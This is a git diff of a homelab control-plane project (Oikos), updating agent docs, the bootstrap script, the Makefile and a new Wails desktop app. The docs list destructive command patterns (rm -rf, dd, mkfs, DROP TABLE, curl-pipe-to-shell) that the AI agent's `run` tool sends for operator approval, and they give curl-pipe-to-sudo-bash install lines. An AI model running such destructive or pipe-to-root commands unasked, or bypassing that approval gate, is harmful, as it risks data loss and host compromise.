||||
rediscover it from scratch
|
||||
create_relationship(source, target, type) — record a discovered edge
|
||||
(depends-on, hosts, routes-to, ...) between two entities
|
||||
|
||||
Execution — mutating the live infrastructure:
|
||||
run(target, command) — the general execution primitive. Run any shell
|
||||
command against a host or LXC; every command is auto-classified —
|
||||
read-only inspection runs immediately, anything state-changing needs
|
||||
operator approval, and destructive patterns (rm -rf, dd, mkfs,
|
||||
pct/qm destroy, DROP TABLE, reboot, curl-pipe-to-shell, ...) always
|
||||
need approval regardless of what you declare. Prefer this over
|
||||
request_execution for anything not already covered by its fixed enum.
|
||||
request_execution(target, action, params) — the older, fixed-enum path
|
||||
(restart, systemctl, pct_exec, apt_upgrade, pct_create). Still the
|
||||
route for those specific actions; policy-gated the same way `run` is.
|
||||
get_execution_status(execution_id) — poll progress
|
||||
|
||||
**When to prefer MCP over grepping the clone:** always for knowledge queries.
|
||||
@@ -97,7 +123,18 @@ the DB with entity links. `get_entity_knowledge("lxc:jellyfin")` returns documen
|
||||
runbooks, and investigations in one call. Grep the clone only when MCP is
|
||||
unreachable.
|
||||
|
||||
## 4. Knowledge conventions
|
||||
## 4. Authentication
|
||||
|
||||
Every API/MCP route requires `Authorization: Bearer <token>` except
|
||||
`POST /api/v1/clients/enroll` and `/healthz`. Enrollment (see
|
||||
[CLIENTS.md](CLIENTS.md#enrollment)) does not currently issue a per-client
|
||||
API/MCP bearer token — there is one shared
|
||||
secret (`OIKOS_MCP_BEARER_TOKEN`, validated in `internal/httpapi/server.go`'s
|
||||
`combinedAuth`); get it from the operator until per-client token issuance
|
||||
exists. The SPA has its own flow instead: a first-launch Config screen that
|
||||
stores a token in `localStorage` (see `web/src/pages/Config.svelte`).
|
||||
|
||||
## 5. Knowledge conventions
|
||||
|
||||
All narrative knowledge (documents, investigations, runbooks) lives in the DB
|
||||
(`knowledge_entities` table) and is seeded from `seeds/knowledge.yaml`. Agents
|
||||
@@ -122,47 +159,52 @@ per the DB-as-source-of-truth plan.
|
||||
running state, update the DB *in the same session* via the API. The `oikos export`
|
||||
command regenerates `seeds/knowledge.yaml` for version control.
|
||||
|
||||
## 5. Acting on the homelab
|
||||
## 6. Acting on the homelab
|
||||
|
||||
- **Read state**: use MCP tools. Nomos (the AI agent) is the primary
|
||||
operator interface — it has 21 MCP tools for observe/orient/decide/act.
|
||||
- **Actions** (restart, logs, apt, pct exec): Nomos calls `request_execution`
|
||||
via MCP. `reversible_low` actions execute immediately; `config_mutation`
|
||||
and `destructive` actions are queued for operator approval via Matrix.
|
||||
- **Secrets**: managed by Infisical (`oikos secret` subcommand for migration).
|
||||
Never hardcode secrets — use env vars from `.env`.
|
||||
operator interface — it has 33 MCP tools for observe/orient/decide/act
|
||||
(§3).
|
||||
- **Actions** (restart, logs, apt, pct exec, or anything else): Nomos calls
|
||||
`run` (the general execution primitive) or `request_execution` (the older
|
||||
fixed-enum path) via MCP. `reversible_low`/read-only actions execute
|
||||
immediately; `config_mutation` and `destructive` actions are queued for
|
||||
operator approval via Matrix or the control-room UI's Operations page.
|
||||
- **Secrets**: managed by Infisical (`oikos secret` subcommand for
|
||||
migration). Never hardcode secrets — use env vars from `.env`.
|
||||
- **Mutations** (restart, edit configs, etc.): classified against
|
||||
`seeds/policy.yaml`. `reversible_low` actions auto-execute;
|
||||
`config_mutation`/`destructive` actions require approval.
|
||||
a valid `--approval-id` from `homelab approval request` — see OIKOS.md.
|
||||
`config_mutation`/`destructive` actions require approval — granted by
|
||||
the operator via Matrix reply or the control-room UI, not a CLI flag.
|
||||
See OIKOS.md.
|
||||
|
||||
## 6. Communication mode
|
||||
## 7. Communication mode
|
||||
|
||||
Read and apply `/opt/homelab-context/.agents/shared/caveman.md` (if present). It defines the lab's
|
||||
terse-communication standard — drop filler, keep substance, use fragments.
|
||||
|
||||
## 7. Auto-setup mechanism
|
||||
## 8. Auto-setup mechanism
|
||||
|
||||
The homelab-context repo ships tooling that gets automatically installed
|
||||
on every client after `git pull`. This is handled by `tools/post-pull.sh`
|
||||
(replaces the raw git pull in the sync timer) which runs any script matching
|
||||
`tools/*.setup.sh` after pull.
|
||||
`tools/setup-*.sh` after pull.
|
||||
|
||||
Currently auto-setup:
|
||||
- **Caveman + templates** (`tools/setup-caveman.sh`): Installs Caveman npm
|
||||
package, wrapper scripts, and compact output templates for token-efficient
|
||||
CLI output. Wrapper at `~/bin/caveman_wrapper.sh`.
|
||||
- **Nomos agent persona** (`tools/setup-nomos-soul.sh`): Provisions
|
||||
`~/.nomos/SOUL.md` from `NOMOS.md` on Nomos agents. This ensures every
|
||||
Nomos agent follows the canonical homelab persona (token efficiency, source
|
||||
of truth hierarchy). No-op on non-Nomos agents.
|
||||
- **Host checks** (`tools/setup-checks.sh`): Deploys `checks/install.sh`'s
|
||||
health-check scripts to `/opt/oikos/checks` on each host. The scheduler's
|
||||
`ssh-script` check kind depends on these actually being there — 20 are
|
||||
live in the DB as of 2026-07-12.
|
||||
|
||||
To add a new auto-setup, create `tools/<name>.setup.sh` in the repo,
|
||||
To add a new auto-setup, create `tools/setup-<name>.sh` in the repo,
|
||||
commit and push. All enrolled clients pick it up within 5 minutes.
|
||||
|
||||
To trigger sync manually: `sudo homelab sync` or wait for the 5-min timer.
|
||||
To trigger sync manually: run `/opt/homelab/tools/context-poller.sh`, or
|
||||
wait for the 5-min timer. (This mechanism — and the server-side
|
||||
`tools_changed` detection behind it — only correctly recognized
|
||||
`setup-*.sh` scripts as of 2026-07-12; before that it silently matched
|
||||
nothing, so nothing auto-ran on any client via this path.)
|
||||
|
||||
## 8. When in doubt
|
||||
## 9. When in doubt
|
||||
|
||||
Use MCP tools: `search_knowledge <query>` for narrative context,
|
||||
`get_entity <slug>` for structured data, `get_entity_knowledge <slug>` for
|
||||
|
||||
20
CLIENTS.md
20
CLIENTS.md
@@ -24,9 +24,22 @@ Docker stack on mac-mini and exposes an MCP server + REST API.
|
||||
| State snapshot (health, disk, drift) | MCP `get_state_snapshot` |
|
||||
| Secrets (Infisical) | REST API + `oikos secret` CLI |
|
||||
| Approval tokens | Matrix via notifier |
|
||||
| Run a command on a host/LXC (policy-gated) | MCP `run` |
|
||||
| Record a discovered fact/relationship | MCP `update_entity_attributes`, `create_relationship`, `upsert_knowledge` |
|
||||
|
||||
All MCP tools are read-only. Mutations use the `homelab` CLI with operator
|
||||
approval.
|
||||
Most MCP tools are read-only; a few mutate the knowledge graph (recording
|
||||
what you learned) or the live infrastructure (`run`, `request_execution`),
|
||||
gated by risk classification and — for `config_mutation`/`destructive`
|
||||
actions — operator approval. See [AGENTS.md](AGENTS.md#3-the-mcp-server) for
|
||||
the full tool catalog.
|
||||
|
||||
## Authentication
|
||||
|
||||
Every API/MCP call needs `Authorization: Bearer <token>` — there is no
|
||||
unauthenticated path except `POST /api/v1/clients/enroll` and `/healthz`.
|
||||
Enrollment (below) does not currently hand out a per-client bearer token;
|
||||
get the shared `OIKOS_MCP_BEARER_TOKEN` from the operator until per-client
|
||||
token issuance exists.
|
||||
|
||||
## Enrollment
|
||||
|
||||
@@ -41,7 +54,6 @@ curl -fsSL https://git.hubris.network/dtoro/oikos/raw/main/bootstrap.sh | sudo b
|
||||
|
||||
# Or with optional tooling:
|
||||
curl ... | sudo bash -s -- --with-mcp # wire Claude's MCP config
|
||||
curl ... | sudo bash -s -- --with-nomos # install Goose + Nomos
|
||||
```
|
||||
|
||||
This calls `POST /api/v1/clients/enroll` on the Oikos API, which:
|
||||
@@ -56,7 +68,7 @@ This calls `POST /api/v1/clients/enroll` on the Oikos API, which:
|
||||
### What changes on your machine
|
||||
|
||||
- `/opt/homelab/` — agent orientation files (CLIENTS.md, AGENTS.md, OIKOS.md)
|
||||
- `/opt/homelab/tools/` — tooling scripts (caveman, nomos-soul)
|
||||
- `/opt/homelab/tools/` — tooling scripts (checks)
|
||||
- `/etc/age/key.txt` — age private key for SOPS decryption (fallback)
|
||||
- `/etc/infisical/identity` — Infisical machine identity (primary secrets)
|
||||
- Context poller — launchd/systemd timer hits `GET /api/v1/clients/{slug}/context` every 5 minutes for agent file updates
|
||||
|
||||
@@ -9,10 +9,13 @@ repo, see [.agents/dev/CONTRIBUTING.md](.agents/dev/CONTRIBUTING.md).
|
||||
- **Go 1.26+** (see `go.mod` for pinned version)
|
||||
- **PostgreSQL with TimescaleDB** — the compose stack includes `timescale/timescaledb:2.17.2-pg16`
|
||||
- **Docker** for the full dev stack
|
||||
- **Node 22+** for `web/` (the control-room SPA — standalone, not part of the
|
||||
compose stack or the `oikos` binary)
|
||||
|
||||
```bash
|
||||
# Start dependencies (Postgres + Redis)
|
||||
docker compose --profile dev up -d
|
||||
# Start dependencies (Postgres + Redis). api/nomos require a shared bearer
|
||||
# token — no dev-open bypass — so set one even for local dev.
|
||||
OIKOS_MCP_BEARER_TOKEN=dev-token docker compose --profile dev up -d
|
||||
|
||||
# Run all tests
|
||||
make test
|
||||
@@ -22,13 +25,21 @@ make test-db
|
||||
|
||||
# Build the binary
|
||||
make build
|
||||
|
||||
# SPA dev server (proxies to api/nomos, injecting the same token)
|
||||
cd web && OIKOS_API_TOKEN=dev-token npm run dev
|
||||
```
|
||||
|
||||
## Project structure
|
||||
|
||||
```
|
||||
cmd/desktop/ Wails v3 desktop app (macOS + Linux)
|
||||
main.go Thin shell: webview, system tray, notifications, auto-update
|
||||
wails.json Wails project config
|
||||
entitlements.plist macOS code-signing entitlements
|
||||
cmd/oikos/ Single-binary entry point
|
||||
cmd/nomos/ Nomos MCP client gateway
|
||||
cmd/webhook/ Gitea deploy-webhook receiver (push-to-deploy on mac-mini)
|
||||
internal/ All Go packages
|
||||
httpapi/ REST + MCP server (OpenAPI-generated)
|
||||
mcp/ MCP tool implementations
|
||||
@@ -42,15 +53,20 @@ internal/ All Go packages
|
||||
domain/ Core types: entities, approvals, signals, patterns
|
||||
ontology/ Type hierarchy, relationship validation
|
||||
knowledge/ Knowledge YAML seed ingestion
|
||||
web/ Control-room SPA (Svelte 5) — standalone, not embedded
|
||||
in the oikos binary; see plans/2026-07-12-wails-desktop-app.md
|
||||
api/openapi.yaml API contract — the source of truth for endpoints
|
||||
migrations/ Forward-only SQL migrations (TimescaleDB)
|
||||
seeds/ Bootstrap YAML: ontology, inventory, policy, knowledge
|
||||
compose/ Dockerfiles + Caddy config
|
||||
scripts/ Deploy, watchdog, rollback
|
||||
checks/ Host health-check scripts run over SSH by the scheduler
|
||||
tools/ Client auto-setup scripts (checks)
|
||||
nomos/ Nomos config, persona, skills
|
||||
.agents/ Agent instruction files + skills
|
||||
plans/ Design documents
|
||||
docs/adr/ Architecture decision records
|
||||
docs/operations/ Runbooks (rollback, etc.)
|
||||
```
|
||||
|
||||
## Commands
|
||||
@@ -68,6 +84,12 @@ docs/adr/ Architecture decision records
|
||||
| `make export` | Export DB state to YAML seeds |
|
||||
| `make dev` | Start compose dev stack |
|
||||
| `make clean` | Remove binary + test cache |
|
||||
| `make ui` | Build the SPA (`web/dist/`) |
|
||||
| `make deploy-ui` | Build + deploy the SPA to the Caddy host |
|
||||
| `make desktop` | Build the Wails desktop app for the current platform |
|
||||
| `make desktop-package` | Build + package (zip on macOS, tar.gz on Linux) |
|
||||
| `make webhook` | Build `cmd/webhook` (deploy-webhook receiver) |
|
||||
| `make tidy` | `go mod tidy` |
|
||||
|
||||
## Conventions
|
||||
|
||||
|
||||
33
Makefile
33
Makefile
@@ -1,4 +1,4 @@
|
||||
.PHONY: build test test-db lint generate generate-check dev migrate seed export clean tidy
|
||||
.PHONY: build webhook test test-db lint generate generate-check dev migrate seed export clean tidy ui desktop desktop-package desktop-release
|
||||
|
||||
BINARY := oikos
|
||||
GO ?= go
|
||||
@@ -6,6 +6,9 @@ GO ?= go
|
||||
build:
|
||||
$(GO) build -o $(BINARY) -tags timetzdata ./cmd/oikos
|
||||
|
||||
webhook:
|
||||
$(GO) build -o webhook -tags timetzdata ./cmd/webhook
|
||||
|
||||
test:
|
||||
$(GO) test -race -cover ./...
|
||||
|
||||
@@ -42,8 +45,36 @@ export:
|
||||
dev:
|
||||
docker compose --profile dev up -d
|
||||
|
||||
# Local sanity-check build of the SPA. Not embedded in the oikos binary
|
||||
# (plans/2026-07-12-wails-desktop-app.md 0.1) — deploys as its own
|
||||
# container (compose/web/Dockerfile) via `docker compose --profile full
|
||||
# up -d web`, same push-to-main pipeline as everything else.
|
||||
ui:
|
||||
cd web && npm run build
|
||||
|
||||
desktop: ui ## Build the Wails desktop app for the current platform
|
||||
rm -rf cmd/desktop/frontend/dist
|
||||
mkdir -p cmd/desktop/frontend/dist
|
||||
cp -r web/dist/* cmd/desktop/frontend/dist/
|
||||
cd cmd/desktop && wails3 build -clean
|
||||
|
||||
desktop-package: desktop ## Build + package the desktop app (zip on macOS, tar.gz on Linux)
|
||||
@case $$(uname -s) in \
|
||||
Darwin) \
|
||||
cd cmd/desktop/build/bin && zip -r oikos-desktop-darwin-$$(uname -m).zip oikos-desktop.app ;; \
|
||||
Linux) \
|
||||
cd cmd/desktop/build/bin && tar czf oikos-desktop-linux-$$(uname -m).tar.gz oikos-desktop ;; \
|
||||
esac
|
||||
@echo "Package: cmd/desktop/build/bin/"
|
||||
|
||||
desktop-release: ui ## Build desktop app for macOS arm64 + Linux amd64 (CI target)
|
||||
@echo "Use 'make desktop-package' for local builds; desktop-release is for CI"
|
||||
@exit 1
|
||||
|
||||
clean:
|
||||
rm -f $(BINARY)
|
||||
rm -rf cmd/desktop/build
|
||||
rm -rf cmd/desktop/frontend/dist
|
||||
$(GO) clean -testcache
|
||||
|
||||
tidy:
|
||||
|
||||
39
README.md
39
README.md
@@ -13,18 +13,24 @@ learns from outcomes, and escalates when uncertain.
|
||||
## Quick start
|
||||
|
||||
```bash
|
||||
# Dev stack (postgres + api + scheduler + notifier)
|
||||
docker compose --profile dev up -d
|
||||
# Dev stack (postgres + api + scheduler + notifier). The api/nomos
|
||||
# services need a shared token — every route requires a real bearer
|
||||
# credential, there's no dev-open bypass.
|
||||
OIKOS_MCP_BEARER_TOKEN=dev-token docker compose --profile dev up -d
|
||||
|
||||
# Full stack (adds Nomos agent gateway)
|
||||
docker compose --profile full up -d
|
||||
OIKOS_MCP_BEARER_TOKEN=dev-token docker compose --profile full up -d
|
||||
|
||||
# Build standalone binary
|
||||
go build -o bin/oikos -tags timetzdata ./cmd/oikos
|
||||
|
||||
# Run all roles in one process (dev mode)
|
||||
OIKOS_DATABASE_URL="postgres://oikos:oikos_dev@localhost:5432/oikos?sslmode=disable" \
|
||||
OIKOS_API_TOKEN=dev-token \
|
||||
go run ./cmd/oikos all
|
||||
|
||||
# Control-room SPA (separate from the Go binary — see web/)
|
||||
cd web && OIKOS_API_TOKEN=dev-token npm run dev # http://localhost:5173
|
||||
```
|
||||
|
||||
## Architecture
|
||||
@@ -59,16 +65,19 @@ OIKOS_DATABASE_URL="postgres://oikos:oikos_dev@localhost:5432/oikos?sslmode=disa
|
||||
| 5 — Secrets | ✅ | Infisical backend + SOPS fallback, rotation runbooks |
|
||||
| 6 — Deploy | ✅ | CI pipeline, cutover checklist, watchdog, rollback |
|
||||
|
||||
Full plan: [plans/2026-07-06-consolidate-oikos-control-plane-onto-mac-mini.md](plans/2026-07-06-consolidate-oikos-control-plane-onto-mac-mini.md).
|
||||
Full plan: [plans/done/2026-07-06-consolidate-oikos-control-plane-onto-mac-mini.md](plans/done/2026-07-06-consolidate-oikos-control-plane-onto-mac-mini.md).
|
||||
|
||||
## Operations
|
||||
|
||||
### API endpoints
|
||||
|
||||
```bash
|
||||
curl http://localhost:8090/api/v1/entities?type=service # fleet
|
||||
curl http://localhost:8090/api/v1/health # fleet health
|
||||
curl http://localhost:8090/api/v1/agent-activity # agent log
|
||||
curl -H "Authorization: Bearer $OIKOS_API_TOKEN" \
|
||||
http://localhost:8090/api/v1/entities?type=service # fleet
|
||||
curl -H "Authorization: Bearer $OIKOS_API_TOKEN" \
|
||||
http://localhost:8090/api/v1/health # fleet health
|
||||
curl -H "Authorization: Bearer $OIKOS_API_TOKEN" \
|
||||
http://localhost:8090/api/v1/agent-activity # agent log
|
||||
```
|
||||
|
||||
### Nomos queries
|
||||
@@ -97,24 +106,40 @@ oikos secret list # enumerate SOPS secrets
|
||||
oikos secret migrate # SOPS → Infisical
|
||||
```
|
||||
|
||||
### Web UI
|
||||
|
||||
`web/` is a standalone Svelte 5 SPA — not embedded in the `oikos` binary, not
|
||||
part of `docker-compose.yml`. It talks to `api`/`nomos` over HTTP with a
|
||||
bearer token entered on first launch (see `web/src/pages/Config.svelte`).
|
||||
Build with `make ui`, deploy with `make deploy-ui` (Caddy serves the static
|
||||
output). A native desktop wrapper is planned — see
|
||||
[plans/2026-07-12-wails-desktop-app.md](plans/2026-07-12-wails-desktop-app.md).
|
||||
|
||||
## Repo layout
|
||||
|
||||
```
|
||||
cmd/oikos/ Go entry point — single binary
|
||||
cmd/nomos/ Nomos MCP client gateway
|
||||
cmd/webhook/ Gitea deploy-webhook receiver (push-to-deploy on mac-mini)
|
||||
internal/ Go packages (httpapi, mcp, scheduler, actuator, learning,
|
||||
notifier, policy, secrets, db, config, ontology, domain,
|
||||
knowledge)
|
||||
web/ Control-room SPA (Svelte 5) — standalone, not embedded
|
||||
api/openapi.yaml API contract (OpenAPI 3.1)
|
||||
migrations/ Forward-only SQL migrations (TimescaleDB)
|
||||
seeds/ Bootstrap YAML (ontology, inventory, policy, knowledge)
|
||||
compose/ Dockerfiles + Caddy config
|
||||
scripts/ Deploy, watchdog, verification, rollback
|
||||
checks/ Host health-check scripts run over SSH by the scheduler
|
||||
tools/ Client auto-setup scripts (checks)
|
||||
ssh/ Deploy keys + authorized_keys management
|
||||
vps/ Caddy/TURN config templates for the netbird VPS
|
||||
nomos/ Nomos config, persona, skills
|
||||
.agents/ Agent instruction files, shared conventions, skills
|
||||
archive/ Historical reference (legacy wiki, plans, SOPS backups)
|
||||
plans/ Design documents (active + done)
|
||||
docs/adr/ Architecture decision records
|
||||
docs/operations/ Runbooks (rollback, etc.)
|
||||
```
|
||||
|
||||
## For agents
|
||||
|
||||
41
bootstrap.sh
41
bootstrap.sh
@@ -3,15 +3,14 @@
|
||||
#
|
||||
# Thin client model (rev 2): no git clone, no sync timer. Fetches only the
|
||||
# agent orientation files (CLIENTS.md, AGENTS.md, OIKOS.md) and tooling
|
||||
# (caveman, nomos-soul) from the raw Gitea URL. Enrolls via the Oikos API
|
||||
# to receive an age keypair and Infisical machine identity. A lightweight
|
||||
# context poller replaces the old 5-minute git pull.
|
||||
# (checks) from the raw Gitea URL. Enrolls via the Oikos API to receive an
|
||||
# age keypair and Infisical machine identity. A lightweight context poller
|
||||
# replaces the old 5-minute git pull.
|
||||
#
|
||||
# Usage:
|
||||
# curl -fsSL https://git.hubris.network/dtoro/oikos/raw/main/bootstrap.sh \
|
||||
# | sudo bash
|
||||
# curl ... | sudo bash -s -- --with-mcp # wire Claude's .mcp.json
|
||||
# curl ... | sudo bash -s -- --with-nomos # install Goose + Nomos
|
||||
# curl ... | sudo bash -s -- --dry-run # show what would happen
|
||||
#
|
||||
# Prerequisites:
|
||||
@@ -28,16 +27,10 @@ REPO_RAW_URL="${HOMELAB_RAW_URL:-https://git.hubris.network/dtoro/oikos/raw/main
|
||||
OIKOS_API_URL="${HOMELAB_OIKOS_URL:-https://oikos.hubris.network/api/v1}"
|
||||
CLONE_DIR="${HOMELAB_CONTEXT_DIR:-/opt/homelab}"
|
||||
MCP_URL="${HOMELAB_MCP_URL:-https://mcp.hubris.network/mcp}"
|
||||
NOMOS_MCP_URI="${HOMELAB_NOMOS_MCP_URI:-https://mcp.hubris.network/mcp}"
|
||||
NOMOS_MODEL="${HOMELAB_NOMOS_MODEL:-nousresearch/hermes-4-405b}"
|
||||
|
||||
WITH_MCP=0
|
||||
WITH_NOMOS=0
|
||||
DRY_RUN=0
|
||||
|
||||
GITEA_TOKEN="${HOMELAB_GITEA_TOKEN:-}"
|
||||
GITEA_USER="${HOMELAB_GITEA_USER:-dtoro}"
|
||||
|
||||
# ── helpers ──────────────────────────────────────────────────────────
|
||||
|
||||
log() { echo "[oikos] $*"; }
|
||||
@@ -79,10 +72,7 @@ detect_mesh_ip() {
|
||||
while [ $# -gt 0 ]; do
|
||||
case "$1" in
|
||||
--with-mcp) WITH_MCP=1 ;;
|
||||
--with-nomos) WITH_NOMOS=1 ;;
|
||||
--dry-run) DRY_RUN=1 ;;
|
||||
--gitea-token) GITEA_TOKEN="$2"; shift ;;
|
||||
--gitea-user) GITEA_USER="$2"; shift ;;
|
||||
*) die "unknown flag: $1" ;;
|
||||
esac
|
||||
shift
|
||||
@@ -148,7 +138,7 @@ done
|
||||
|
||||
# ── fetch tools ──────────────────────────────────────────────────────
|
||||
log "fetching tools..."
|
||||
for tool in setup-caveman.sh setup-nomos-soul.sh caveman.js caveman_wrapper.sh post-pull.sh; do
|
||||
for tool in setup-checks.sh post-pull.sh; do
|
||||
url="$REPO_RAW_URL/tools/${tool}"
|
||||
dest="$CLONE_DIR/tools/${tool}"
|
||||
dry mkdir -p "$(dirname "$dest")"
|
||||
@@ -161,16 +151,6 @@ for tool in setup-caveman.sh setup-nomos-soul.sh caveman.js caveman_wrapper.sh p
|
||||
fi
|
||||
done
|
||||
|
||||
# ── fetch caveman templates ──────────────────────────────────────────
|
||||
for tmpl in git_log.txt git_status.txt test_results.txt; do
|
||||
url="$REPO_RAW_URL/tools/caveman/templates/${tmpl}"
|
||||
dest="$CLONE_DIR/tools/caveman/templates/${tmpl}"
|
||||
dry mkdir -p "$(dirname "$dest")"
|
||||
if curl -fsSL --connect-timeout 10 "$url" -o "$dest.tmp" 2>/dev/null; then
|
||||
mv "$dest.tmp" "$dest"
|
||||
fi
|
||||
done
|
||||
|
||||
# ── detect control-plane (use localhost if API is reachable directly) ─
|
||||
if [ -z "${HOMELAB_OIKOS_URL:-}" ]; then
|
||||
if curl -s --connect-timeout 2 http://localhost:8090/api/v1/health >/dev/null 2>&1; then
|
||||
@@ -300,7 +280,7 @@ case "$OS" in
|
||||
esac
|
||||
|
||||
# ── run auto-setup scripts ───────────────────────────────────────────
|
||||
for setup in "$CLONE_DIR"/tools/*.setup.sh; do
|
||||
for setup in "$CLONE_DIR"/tools/setup-*.sh; do
|
||||
[ -f "$setup" ] || continue
|
||||
log "running setup: $(basename "$setup")"
|
||||
dry bash "$setup"
|
||||
@@ -319,17 +299,6 @@ if [ "$WITH_MCP" -eq 1 ]; then
|
||||
log " + MCP wired to $MCP_URL"
|
||||
fi
|
||||
|
||||
# ── --with-nomos: install Goose + Nomos wrapper ────────────────────
|
||||
if [ "$WITH_NOMOS" -eq 1 ]; then
|
||||
log "installing Nomos agent..."
|
||||
GOOSE_URL="https://github.com/block/goose/releases/latest/download/goose-${OS}-${ARCH:-amd64}"
|
||||
if [ "$OS" = Darwin ]; then GOOSE_URL="https://github.com/block/goose/releases/latest/download/goose-darwin-${ARCH:-arm64}"; fi
|
||||
dry curl -fsSL "$GOOSE_URL" -o /usr/local/bin/goose 2>/dev/null && chmod +x /usr/local/bin/goose || warn "goose not installed"
|
||||
# Drop Nomos persona
|
||||
cp "$CLONE_DIR/NOMOS.md" "$CLONE_DIR/.agents/NOMOS.md" 2>/dev/null || true
|
||||
log " + Nomos agent installed"
|
||||
fi
|
||||
|
||||
# ── netbird SSH JWT cache ────────────────────────────────────────────
|
||||
if command -v netbird >/dev/null 2>&1; then
|
||||
dry netbird up --management-url https://netbird.hubris.network --ssh-jwt-cache-ttl 86400 2>/dev/null || true
|
||||
|
||||
26
cmd/desktop/entitlements.plist
Normal file
26
cmd/desktop/entitlements.plist
Normal file
@@ -0,0 +1,26 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.app-sandbox</key>
|
||||
<false/>
|
||||
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
|
||||
<true/>
|
||||
<key>com.apple.security.cs.disable-library-validation</key>
|
||||
<true/>
|
||||
<key>com.apple.security.device.audio-input</key>
|
||||
<false/>
|
||||
<key>com.apple.security.device.camera</key>
|
||||
<false/>
|
||||
<key>com.apple.security.files.user-selected.read-write</key>
|
||||
<true/>
|
||||
<key>com.apple.security.network.client</key>
|
||||
<true/>
|
||||
<key>com.apple.security.network.server</key>
|
||||
<false/>
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
<string>$(AppIdentifierPrefix)com.hubris.oikos-desktop</string>
|
||||
</array>
|
||||
</dict>
|
||||
</plist>
|
||||
382
cmd/desktop/main.go
Normal file
382
cmd/desktop/main.go
Normal file
@@ -0,0 +1,382 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/fs"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/wailsapp/wails/v3/pkg/application"
|
||||
"github.com/zalando/go-keyring"
|
||||
)
|
||||
|
||||
//go:embed frontend/dist
|
||||
var assets embed.FS
|
||||
|
||||
const (
|
||||
keyringService = "com.hubris.oikos-desktop"
|
||||
keyringUser = "oikos"
|
||||
version = "0.1.0"
|
||||
updateURL = "https://git.hubris.network/api/v1/repos/dtoro/oikos/releases"
|
||||
pollInterval = 30 * time.Second
|
||||
updateInterval = 6 * time.Hour
|
||||
)
|
||||
|
||||
type OikosConfig struct {
|
||||
ApiUrl string `json:"apiUrl"`
|
||||
Token string `json:"token,omitempty"`
|
||||
IsDesktop bool `json:"isDesktop"`
|
||||
}
|
||||
|
||||
// ---- ConfigService ----
|
||||
|
||||
type ConfigService struct{ app *application.App }
|
||||
|
||||
func (c *ConfigService) Name() string { return "config" }
|
||||
|
||||
func (c *ConfigService) SaveConfig(apiUrl, token string) error {
|
||||
cfg := OikosConfig{ApiUrl: apiUrl, Token: token, IsDesktop: true}
|
||||
data, _ := json.Marshal(cfg)
|
||||
return keyring.Set(keyringService, keyringUser, string(data))
|
||||
}
|
||||
|
||||
func (c *ConfigService) ClearConfig() error {
|
||||
return keyring.Delete(keyringService, keyringUser)
|
||||
}
|
||||
|
||||
func (c *ConfigService) EnableAutoStart() error {
|
||||
if runtime.GOOS != "darwin" {
|
||||
return fmt.Errorf("autostart not supported on %s", runtime.GOOS)
|
||||
}
|
||||
usr, _ := user.Current()
|
||||
dir := filepath.Join(usr.HomeDir, "Library", "LaunchAgents")
|
||||
os.MkdirAll(dir, 0755)
|
||||
|
||||
exe, _ := os.Executable()
|
||||
plist := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<string>com.hubris.oikos-desktop</string>
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>%s</string>
|
||||
</array>
|
||||
<key>RunAtLoad</key>
|
||||
<true/>
|
||||
<key>KeepAlive</key>
|
||||
<false/>
|
||||
</dict>
|
||||
</plist>`, exe)
|
||||
|
||||
return os.WriteFile(filepath.Join(dir, "com.hubris.oikos-desktop.plist"), []byte(plist), 0644)
|
||||
}
|
||||
|
||||
func (c *ConfigService) DisableAutoStart() error {
|
||||
if runtime.GOOS != "darwin" {
|
||||
return fmt.Errorf("autostart not supported on %s", runtime.GOOS)
|
||||
}
|
||||
usr, _ := user.Current()
|
||||
path := filepath.Join(usr.HomeDir, "Library", "LaunchAgents", "com.hubris.oikos-desktop.plist")
|
||||
return os.Remove(path)
|
||||
}
|
||||
|
||||
// ---- Window persistence ----
|
||||
|
||||
type windowState struct {
|
||||
X int `json:"x"`
|
||||
Y int `json:"y"`
|
||||
Width int `json:"width"`
|
||||
Height int `json:"height"`
|
||||
}
|
||||
|
||||
func windowStatePath() string {
|
||||
usr, _ := user.Current()
|
||||
return filepath.Join(usr.HomeDir, ".config", "oikos", "window.json")
|
||||
}
|
||||
|
||||
func loadWindowState() *windowState {
|
||||
data, err := os.ReadFile(windowStatePath())
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var ws windowState
|
||||
if err := json.Unmarshal(data, &ws); err != nil {
|
||||
return nil
|
||||
}
|
||||
if ws.Width < 200 || ws.Height < 200 {
|
||||
return nil
|
||||
}
|
||||
return &ws
|
||||
}
|
||||
|
||||
func saveWindowState(w application.Window) {
|
||||
x, y := w.Position()
|
||||
width, height := w.Size()
|
||||
ws := windowState{X: x, Y: y, Width: width, Height: height}
|
||||
data, _ := json.Marshal(ws)
|
||||
|
||||
usr, _ := user.Current()
|
||||
dir := filepath.Join(usr.HomeDir, ".config", "oikos")
|
||||
os.MkdirAll(dir, 0755)
|
||||
os.WriteFile(filepath.Join(dir, "window.json"), data, 0644)
|
||||
}
|
||||
|
||||
// ---- Config loading ----
|
||||
|
||||
func loadConfig() *OikosConfig {
|
||||
data, err := keyring.Get(keyringService, keyringUser)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var cfg OikosConfig
|
||||
if err := json.Unmarshal([]byte(data), &cfg); err != nil {
|
||||
return nil
|
||||
}
|
||||
cfg.IsDesktop = true
|
||||
return &cfg
|
||||
}
|
||||
|
||||
// ---- Asset handler ----
|
||||
|
||||
func newAssetHandler(cfg *OikosConfig) http.Handler {
|
||||
